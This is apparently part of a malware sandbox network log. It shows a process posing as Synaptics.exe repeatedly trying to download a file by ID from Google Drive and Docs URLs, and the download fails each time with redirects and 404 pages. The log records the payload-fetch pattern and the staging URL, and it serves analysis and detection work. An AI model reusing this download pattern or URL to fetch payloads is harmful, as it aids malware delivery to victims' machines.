2024-08-22 11:10:32 UTC	144	IN	Data Raw: 3c 68 74 6d 6c 20 6c 61 6e 67 3d 65 6e 3e 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 3e 3c 6d 65 74 61 20 6e 61 6d 65 3d 76 69 65 77 70 6f 72 74 20 63 6f 6e 74 65 6e 74 3d 22 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 6d 69 6e 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2c 20 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 22 3e 3c 74 69 74 6c 65 3e 45 72 72 6f 72 20 34 30 34 20 28 4e 6f 74 20 46 6f 75 6e 64 Data Ascii: <html lang=en><meta charset=utf-8><meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"><title>Error 404 (Not Found
2024-08-22 11:10:32 UTC	1390	IN	Data Raw: 29 21 21 31 3c 2f 74 69 74 6c 65 3e 3c 73 74 79 6c 65 20 6e 6f 6e 63 65 3d 22 38 71 73 30 74 4b 51 4e 43 66 47 69 66 68 4d 66 33 52 54 78 66 51 22 3e 2a 7b 6d 61 72 67 69 6e 3a 30 3b 70 61 64 64 69 6e 67 3a 30 7d 68 74 6d 6c 2c 63 6f 64 65 7b 66 6f 6e 74 3a 31 35 70 78 2f 32 32 70 78 20 61 72 69 61 6c 2c 73 61 6e 73 2d 73 65 72 69 66 7d 68 74 6d 6c 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 23 66 66 66 3b 63 6f 6c 6f 72 3a 23 32 32 32 3b 70 61 64 64 69 6e 67 3a 31 35 70 78 7d 62 6f 64 79 7b 63 6f 6c 6f 72 3a 23 32 32 32 3b 74 65 78 74 2d 61 6c 69 67 6e 3a 75 6e 73 65 74 3b 6d 61 72 67 69 6e 3a 37 25 20 61 75 74 6f 20 30 3b 6d 61 78 2d 77 69 64 74 68 3a 33 39 30 70 78 3b 6d 69 6e 2d 68 65 69 67 68 74 3a 31 38 30 70 78 3b 70 61 64 64 69 6e 67 3a 33 30 70 78 20 30 Data Ascii: )!!1</title><style nonce="8qs0tKQNCfGifhMf3RTxfQ">*{margin:0;padding:0}html,code{font:15px/22px arial,sans-serif}html{background:#fff;color:#222;padding:15px}body{color:#222;text-align:unset;margin:7% auto 0;max-width:390px;min-height:180px;padding:30px 0
2024-08-22 11:10:32 UTC	108	IN	Data Raw: 99 73 20 61 6e 20 65 72 72 6f 72 2e 3c 2f 69 6e 73 3e 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 20 3c 69 6e 73 3e 54 68 61 74 e2 80 99 73 20 61 6c 6c 20 77 65 20 6b 6e 6f 77 2e 3c 2f 69 6e 73 3e 3c 2f 6d 61 69 6e 3e Data Ascii: s an error.</ins><p>The requested URL was not found on this server. <ins>Thats all we know.</ins></main>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
18	192.168.2.8	49744	216.58.212.129	443	8004	C:\ProgramData\Synaptics\Synaptics.exe

Timestamp	Bytes transferred	Direction	Data
2024-08-22 11:10:32 UTC	375	OUT	GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1 User-Agent: Synaptics.exe Cache-Control: no-cache Host: drive.usercontent.google.com Connection: Keep-Alive Cookie: NID=516=Ca2UqVSTB9XjGEaykz4Dhh-KwGI9wKP9WEBIY7LAlMaQ5zWWbMuEQKAtsLKqAXPXi778oF4SWnfv48WJRtMowHM3K-JrnbUsYP72ka7DUZwVQV6DpFrag4bZKa3qTGCMYeGARvZ0iETZf1Pc8xtzNv_VuuZv534aGWDXT36w3nc
2024-08-22 11:10:32 UTC	1245	IN	HTTP/1.1 404 Not Found Content-Type: text/html; charset=utf-8 Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Thu, 22 Aug 2024 11:10:32 GMT Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Content-Security-Policy: script-src 'report-sample' 'nonce-TB0FQqs4elNNw5_1c5ye1g' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Cross-Origin-Opener-Policy: same-origin Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Content-Length: 1642 X-GUploader-UploadID: AHxI1nP49CK8sXyrpTbcZvGleC0pUo8IUqANDpSO8iYgUw1kfyVivNpUAFNRyyPGbWjTvt7p1g Server: UploadServer Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Content-Security-Policy: sandbox allow-scripts Connection: close
2024-08-22 11:10:32 UTC	145	IN	Data Raw: 3c 68 74 6d 6c 20 6c 61 6e 67 3d 65 6e 3e 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 3e 3c 6d 65 74 61 20 6e 61 6d 65 3d 76 69 65 77 70 6f 72 74 20 63 6f 6e 74 65 6e 74 3d 22 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 6d 69 6e 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2c 20 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 22 3e 3c 74 69 74 6c 65 3e 45 72 72 6f 72 20 34 30 34 20 28 4e 6f 74 20 46 6f 75 6e 64 29 Data Ascii: <html lang=en><meta charset=utf-8><meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"><title>Error 404 (Not Found)
2024-08-22 11:10:32 UTC	1390	IN	Data Raw: 21 21 31 3c 2f 74 69 74 6c 65 3e 3c 73 74 79 6c 65 20 6e 6f 6e 63 65 3d 22 38 79 51 6a 7a 51 56 70 32 64 79 71 71 57 50 4a 57 71 56 74 46 51 22 3e 2a 7b 6d 61 72 67 69 6e 3a 30 3b 70 61 64 64 69 6e 67 3a 30 7d 68 74 6d 6c 2c 63 6f 64 65 7b 66 6f 6e 74 3a 31 35 70 78 2f 32 32 70 78 20 61 72 69 61 6c 2c 73 61 6e 73 2d 73 65 72 69 66 7d 68 74 6d 6c 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 23 66 66 66 3b 63 6f 6c 6f 72 3a 23 32 32 32 3b 70 61 64 64 69 6e 67 3a 31 35 70 78 7d 62 6f 64 79 7b 63 6f 6c 6f 72 3a 23 32 32 32 3b 74 65 78 74 2d 61 6c 69 67 6e 3a 75 6e 73 65 74 3b 6d 61 72 67 69 6e 3a 37 25 20 61 75 74 6f 20 30 3b 6d 61 78 2d 77 69 64 74 68 3a 33 39 30 70 78 3b 6d 69 6e 2d 68 65 69 67 68 74 3a 31 38 30 70 78 3b 70 61 64 64 69 6e 67 3a 33 30 70 78 20 30 20 Data Ascii: !!1</title><style nonce="8yQjzQVp2dyqqWPJWqVtFQ">*{margin:0;padding:0}html,code{font:15px/22px arial,sans-serif}html{background:#fff;color:#222;padding:15px}body{color:#222;text-align:unset;margin:7% auto 0;max-width:390px;min-height:180px;padding:30px 0
2024-08-22 11:10:32 UTC	107	IN	Data Raw: 73 20 61 6e 20 65 72 72 6f 72 2e 3c 2f 69 6e 73 3e 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 20 3c 69 6e 73 3e 54 68 61 74 e2 80 99 73 20 61 6c 6c 20 77 65 20 6b 6e 6f 77 2e 3c 2f 69 6e 73 3e 3c 2f 6d 61 69 6e 3e Data Ascii: s an error.</ins><p>The requested URL was not found on this server. <ins>Thats all we know.</ins></main>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
19	192.168.2.8	49743	216.58.206.46	443	8004	C:\ProgramData\Synaptics\Synaptics.exe

Timestamp	Bytes transferred	Direction	Data
2024-08-22 11:10:32 UTC	143	OUT	GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1 User-Agent: Synaptics.exe Host: docs.google.com Cache-Control: no-cache
2024-08-22 11:10:32 UTC	1314	IN	HTTP/1.1 303 See Other Content-Type: application/binary Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Thu, 22 Aug 2024 11:10:32 GMT Location: https://drive.usercontent.google.com/download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download Strict-Transport-Security: max-age=31536000 Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Cross-Origin-Opener-Policy: same-origin Content-Security-Policy: script-src 'report-sample' 'nonce-wx_2Y0T3-siHJPFBWTz5NQ' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Server: ESF Content-Length: 0 X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN X-Content-Type-Options: nosniff Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
20	192.168.2.8	49749	216.58.206.46	443	8004	C:\ProgramData\Synaptics\Synaptics.exe

Timestamp	Bytes transferred	Direction	Data
2024-08-22 11:10:33 UTC	143	OUT	GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1 User-Agent: Synaptics.exe Host: docs.google.com Cache-Control: no-cache
2024-08-22 11:10:33 UTC	1314	IN	HTTP/1.1 303 See Other Content-Type: application/binary Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Thu, 22 Aug 2024 11:10:33 GMT Location: https://drive.usercontent.google.com/download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download Strict-Transport-Security: max-age=31536000 Cross-Origin-Opener-Policy: same-origin Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Content-Security-Policy: script-src 'report-sample' 'nonce-LpQwvaVQWqTAaKXUHEL8QQ' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Server: ESF Content-Length: 0 X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN X-Content-Type-Options: nosniff Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
21	192.168.2.8	49750	216.58.206.46	443	8004	C:\ProgramData\Synaptics\Synaptics.exe

Timestamp	Bytes transferred	Direction	Data
2024-08-22 11:10:33 UTC	143	OUT	GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1 User-Agent: Synaptics.exe Host: docs.google.com Cache-Control: no-cache
2024-08-22 11:10:33 UTC	1314	IN	HTTP/1.1 303 See Other Content-Type: application/binary Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Thu, 22 Aug 2024 11:10:33 GMT Location: https://drive.usercontent.google.com/download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download Strict-Transport-Security: max-age=31536000 Cross-Origin-Opener-Policy: same-origin Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Content-Security-Policy: script-src 'report-sample' 'nonce-X2ZF7xMouApe2eGm5-_ZhA' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Server: ESF Content-Length: 0 X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN X-Content-Type-Options: nosniff Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
22	192.168.2.8	49751	216.58.212.129	443	8004	C:\ProgramData\Synaptics\Synaptics.exe

Timestamp	Bytes transferred	Direction	Data
2024-08-22 11:10:33 UTC	375	OUT	GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1 User-Agent: Synaptics.exe Cache-Control: no-cache Host: drive.usercontent.google.com Connection: Keep-Alive Cookie: NID=516=Ca2UqVSTB9XjGEaykz4Dhh-KwGI9wKP9WEBIY7LAlMaQ5zWWbMuEQKAtsLKqAXPXi778oF4SWnfv48WJRtMowHM3K-JrnbUsYP72ka7DUZwVQV6DpFrag4bZKa3qTGCMYeGARvZ0iETZf1Pc8xtzNv_VuuZv534aGWDXT36w3nc
2024-08-22 11:10:33 UTC	1246	IN	HTTP/1.1 404 Not Found Content-Type: text/html; charset=utf-8 Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Thu, 22 Aug 2024 11:10:33 GMT Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Cross-Origin-Opener-Policy: same-origin Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Content-Security-Policy: script-src 'report-sample' 'nonce-pTQbPTFDLgi7TWRcF1XvFw' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Content-Length: 1642 X-GUploader-UploadID: AHxI1nNIsd8yzhPHR4iuRzaLg2U-dduXs3eT0rHI2Wek1pfdw_Te--6xR3aar-qtSaf-wCEaB9M Server: UploadServer Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Content-Security-Policy: sandbox allow-scripts Connection: close
2024-08-22 11:10:33 UTC	144	IN	Data Raw: 3c 68 74 6d 6c 20 6c 61 6e 67 3d 65 6e 3e 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 3e 3c 6d 65 74 61 20 6e 61 6d 65 3d 76 69 65 77 70 6f 72 74 20 63 6f 6e 74 65 6e 74 3d 22 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 6d 69 6e 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2c 20 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 22 3e 3c 74 69 74 6c 65 3e 45 72 72 6f 72 20 34 30 34 20 28 4e 6f 74 20 46 6f 75 6e 64 Data Ascii: <html lang=en><meta charset=utf-8><meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"><title>Error 404 (Not Found
2024-08-22 11:10:33 UTC	1390	IN	Data Raw: 29 21 21 31 3c 2f 74 69 74 6c 65 3e 3c 73 74 79 6c 65 20 6e 6f 6e 63 65 3d 22 2d 2d 4f 49 76 5a 59 55 48 58 6a 30 69 32 74 39 53 62 4f 53 47 41 22 3e 2a 7b 6d 61 72 67 69 6e 3a 30 3b 70 61 64 64 69 6e 67 3a 30 7d 68 74 6d 6c 2c 63 6f 64 65 7b 66 6f 6e 74 3a 31 35 70 78 2f 32 32 70 78 20 61 72 69 61 6c 2c 73 61 6e 73 2d 73 65 72 69 66 7d 68 74 6d 6c 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 23 66 66 66 3b 63 6f 6c 6f 72 3a 23 32 32 32 3b 70 61 64 64 69 6e 67 3a 31 35 70 78 7d 62 6f 64 79 7b 63 6f 6c 6f 72 3a 23 32 32 32 3b 74 65 78 74 2d 61 6c 69 67 6e 3a 75 6e 73 65 74 3b 6d 61 72 67 69 6e 3a 37 25 20 61 75 74 6f 20 30 3b 6d 61 78 2d 77 69 64 74 68 3a 33 39 30 70 78 3b 6d 69 6e 2d 68 65 69 67 68 74 3a 31 38 30 70 78 3b 70 61 64 64 69 6e 67 3a 33 30 70 78 20 30 Data Ascii: )!!1</title><style nonce="--OIvZYUHXj0i2t9SbOSGA">*{margin:0;padding:0}html,code{font:15px/22px arial,sans-serif}html{background:#fff;color:#222;padding:15px}body{color:#222;text-align:unset;margin:7% auto 0;max-width:390px;min-height:180px;padding:30px 0
2024-08-22 11:10:33 UTC	108	IN	Data Raw: 99 73 20 61 6e 20 65 72 72 6f 72 2e 3c 2f 69 6e 73 3e 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 20 3c 69 6e 73 3e 54 68 61 74 e2 80 99 73 20 61 6c 6c 20 77 65 20 6b 6e 6f 77 2e 3c 2f 69 6e 73 3e 3c 2f 6d 61 69 6e 3e Data Ascii: s an error.</ins><p>The requested URL was not found on this server. <ins>Thats all we know.</ins></main>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
23	192.168.2.8	49753	216.58.212.129	443	8004	C:\ProgramData\Synaptics\Synaptics.exe

Timestamp	Bytes transferred	Direction	Data
2024-08-22 11:10:33 UTC	375	OUT	GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1 User-Agent: Synaptics.exe Cache-Control: no-cache Host: drive.usercontent.google.com Connection: Keep-Alive Cookie: NID=516=Ca2UqVSTB9XjGEaykz4Dhh-KwGI9wKP9WEBIY7LAlMaQ5zWWbMuEQKAtsLKqAXPXi778oF4SWnfv48WJRtMowHM3K-JrnbUsYP72ka7DUZwVQV6DpFrag4bZKa3qTGCMYeGARvZ0iETZf1Pc8xtzNv_VuuZv534aGWDXT36w3nc
2024-08-22 11:10:33 UTC	1245	IN	HTTP/1.1 404 Not Found Content-Type: text/html; charset=utf-8 Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Thu, 22 Aug 2024 11:10:33 GMT Cross-Origin-Opener-Policy: same-origin Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Content-Security-Policy: script-src 'report-sample' 'nonce-5m7ZDboueu8ImxlOR9yzfg' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Content-Length: 1642 X-GUploader-UploadID: AHxI1nPxodzdtWsNERwyI0wYWg6VeTWTitpVDF3rmcuQNsZHWyRNo5BjOYsAifvlgtz5U57k-A Server: UploadServer Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Content-Security-Policy: sandbox allow-scripts Connection: close
2024-08-22 11:10:33 UTC	145	IN	Data Raw: 3c 68 74 6d 6c 20 6c 61 6e 67 3d 65 6e 3e 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 3e 3c 6d 65 74 61 20 6e 61 6d 65 3d 76 69 65 77 70 6f 72 74 20 63 6f 6e 74 65 6e 74 3d 22 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 6d 69 6e 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2c 20 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 22 3e 3c 74 69 74 6c 65 3e 45 72 72 6f 72 20 34 30 34 20 28 4e 6f 74 20 46 6f 75 6e 64 29 Data Ascii: <html lang=en><meta charset=utf-8><meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"><title>Error 404 (Not Found)
2024-08-22 11:10:33 UTC	1390	IN	Data Raw: 21 21 31 3c 2f 74 69 74 6c 65 3e 3c 73 74 79 6c 65 20 6e 6f 6e 63 65 3d 22 49 6b 39 65 57 4f 59 43 71 78 57 4a 76 66 35 63 44 5f 36 58 55 77 22 3e 2a 7b 6d 61 72 67 69 6e 3a 30 3b 70 61 64 64 69 6e 67 3a 30 7d 68 74 6d 6c 2c 63 6f 64 65 7b 66 6f 6e 74 3a 31 35 70 78 2f 32 32 70 78 20 61 72 69 61 6c 2c 73 61 6e 73 2d 73 65 72 69 66 7d 68 74 6d 6c 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 23 66 66 66 3b 63 6f 6c 6f 72 3a 23 32 32 32 3b 70 61 64 64 69 6e 67 3a 31 35 70 78 7d 62 6f 64 79 7b 63 6f 6c 6f 72 3a 23 32 32 32 3b 74 65 78 74 2d 61 6c 69 67 6e 3a 75 6e 73 65 74 3b 6d 61 72 67 69 6e 3a 37 25 20 61 75 74 6f 20 30 3b 6d 61 78 2d 77 69 64 74 68 3a 33 39 30 70 78 3b 6d 69 6e 2d 68 65 69 67 68 74 3a 31 38 30 70 78 3b 70 61 64 64 69 6e 67 3a 33 30 70 78 20 30 20 Data Ascii: !!1</title><style nonce="Ik9eWOYCqxWJvf5cD_6XUw">*{margin:0;padding:0}html,code{font:15px/22px arial,sans-serif}html{background:#fff;color:#222;padding:15px}body{color:#222;text-align:unset;margin:7% auto 0;max-width:390px;min-height:180px;padding:30px 0
2024-08-22 11:10:33 UTC	107	IN	Data Raw: 73 20 61 6e 20 65 72 72 6f 72 2e 3c 2f 69 6e 73 3e 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 20 3c 69 6e 73 3e 54 68 61 74 e2 80 99 73 20 61 6c 6c 20 77 65 20 6b 6e 6f 77 2e 3c 2f 69 6e 73 3e 3c 2f 6d 61 69 6e 3e Data Ascii: s an error.</ins><p>The requested URL was not found on this server. <ins>Thats all we know.</ins></main>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
24	192.168.2.8	49757	216.58.206.46	443	8004	C:\ProgramData\Synaptics\Synaptics.exe

Timestamp	Bytes transferred	Direction	Data
2024-08-22 11:10:34 UTC	143	OUT	GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1 User-Agent: Synaptics.exe Host: docs.google.com Cache-Control: no-cache

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
25	192.168.2.8	49758	216.58.206.46	443	8004	C:\ProgramData\Synaptics\Synaptics.exe

Timestamp	Bytes transferred	Direction	Data
2024-08-22 11:10:34 UTC	143	OUT	GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1 User-Agent: Synaptics.exe Host: docs.google.com Cache-Control: no-cache
2024-08-22 11:10:34 UTC	1314	IN	HTTP/1.1 303 See Other Content-Type: application/binary Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Thu, 22 Aug 2024 11:10:34 GMT Location: https://drive.usercontent.google.com/download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download Strict-Transport-Security: max-age=31536000 Content-Security-Policy: script-src 'report-sample' 'nonce-Tl5pipf8VQPLPy5MabRv3g' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Cross-Origin-Opener-Policy: same-origin Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Server: ESF Content-Length: 0 X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN X-Content-Type-Options: nosniff Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
26	192.168.2.8	49761	216.58.206.46	443	8004	C:\ProgramData\Synaptics\Synaptics.exe

Timestamp	Bytes transferred	Direction	Data
2024-08-22 11:10:34 UTC	143	OUT	GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1 User-Agent: Synaptics.exe Host: docs.google.com Cache-Control: no-cache
2024-08-22 11:10:35 UTC	1314	IN	HTTP/1.1 303 See Other Content-Type: application/binary Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Thu, 22 Aug 2024 11:10:35 GMT Location: https://drive.usercontent.google.com/download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download Strict-Transport-Security: max-age=31536000 Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Content-Security-Policy: script-src 'report-sample' 'nonce-4r2bQrj1y6pmrX3kMhTjmA' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Cross-Origin-Opener-Policy: same-origin Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Server: ESF Content-Length: 0 X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN X-Content-Type-Options: nosniff Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
27	192.168.2.8	49762	216.58.206.46	443	8004	C:\ProgramData\Synaptics\Synaptics.exe

Timestamp	Bytes transferred	Direction	Data
2024-08-22 11:10:35 UTC	143	OUT	GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1 User-Agent: Synaptics.exe Host: docs.google.com Cache-Control: no-cache
